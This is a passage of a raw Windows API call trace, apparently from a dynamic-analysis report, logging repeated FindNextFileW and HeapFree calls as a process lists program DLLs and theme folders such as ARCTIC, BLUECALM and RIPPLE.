lpFindFileData=0x2eaeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc62081b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc62081b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc62081b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1bac0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1 [0174.847] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x469ffe8 | out: hHeap=0x710000) returned 1 [0174.847] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1 [0174.847] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0174.847] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7beb2bc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1cec0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1 [0174.847] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0174.847] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0ed7602, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0ed7602, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0ed7602, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0174.849] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0174.849] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5f76153, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEXTCONV", cAlternateFileName="")) returned 1 [0174.849] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0174.850] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES16", cAlternateFileName="")) returned 1 [0174.853] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0174.853] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0174.854] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0174.854] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="AXIS", cAlternateFileName="")) returned 1 [0174.854] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0174.854] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a96da3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0174.855] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0174.855] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a70c44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0175.692] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0175.692] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0175.693] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.693] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0175.695] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.695] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0175.695] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.695] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CANYON", cAlternateFileName="")) returned 1 [0175.696] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.696] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0175.698] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.698] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0175.699] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.699] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0175.700] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.700] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0175.701] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.701] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0175.702] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.702] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ECHO", cAlternateFileName="")) returned 1 [0175.703] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.703] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0175.704] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.704] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EDGE", cAlternateFileName="")) returned 1 [0175.705] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.705] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EVRGREEN", cAlternateFileName="")) returned 1 [0175.706] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.706] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EXPEDITN", cAlternateFileName="")) returned 1 [0175.708] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.708] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ICE", cAlternateFileName="")) returned 1 [0175.709] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.709] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="INDUST", cAlternateFileName="")) returned 1 [0175.710] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.710] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b7bb91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b7bb91, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="IRIS", cAlternateFileName="")) returned 1 [0175.711] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.711] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="JOURNAL", cAlternateFileName="")) returned 1 [0175.712] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.712] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="LAYERS", cAlternateFileName="")) returned 1 [0175.713] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.713] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="LEVEL", cAlternateFileName="")) returned 1 [0175.713] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.713] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="NETWORK", cAlternateFileName="")) returned 1 [0175.714] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.714] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PAPYRUS", cAlternateFileName="")) returned 1 [0175.715] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.716] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PIXEL", cAlternateFileName="")) returned 1 [0175.716] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.716] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PROFILE", cAlternateFileName="")) returned 1 [0175.717] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.717] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="QUAD", cAlternateFileName="")) returned 1 [0175.718] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.718] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RADIAL", cAlternateFileName="")) returned 1 [0175.720] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.720] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="REFINED", cAlternateFileName="")) returned 1 [0175.721] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.721] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RICEPAPR", cAlternateFileName="")) returned 1 [0175.722] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0175.722] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0175.723] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: 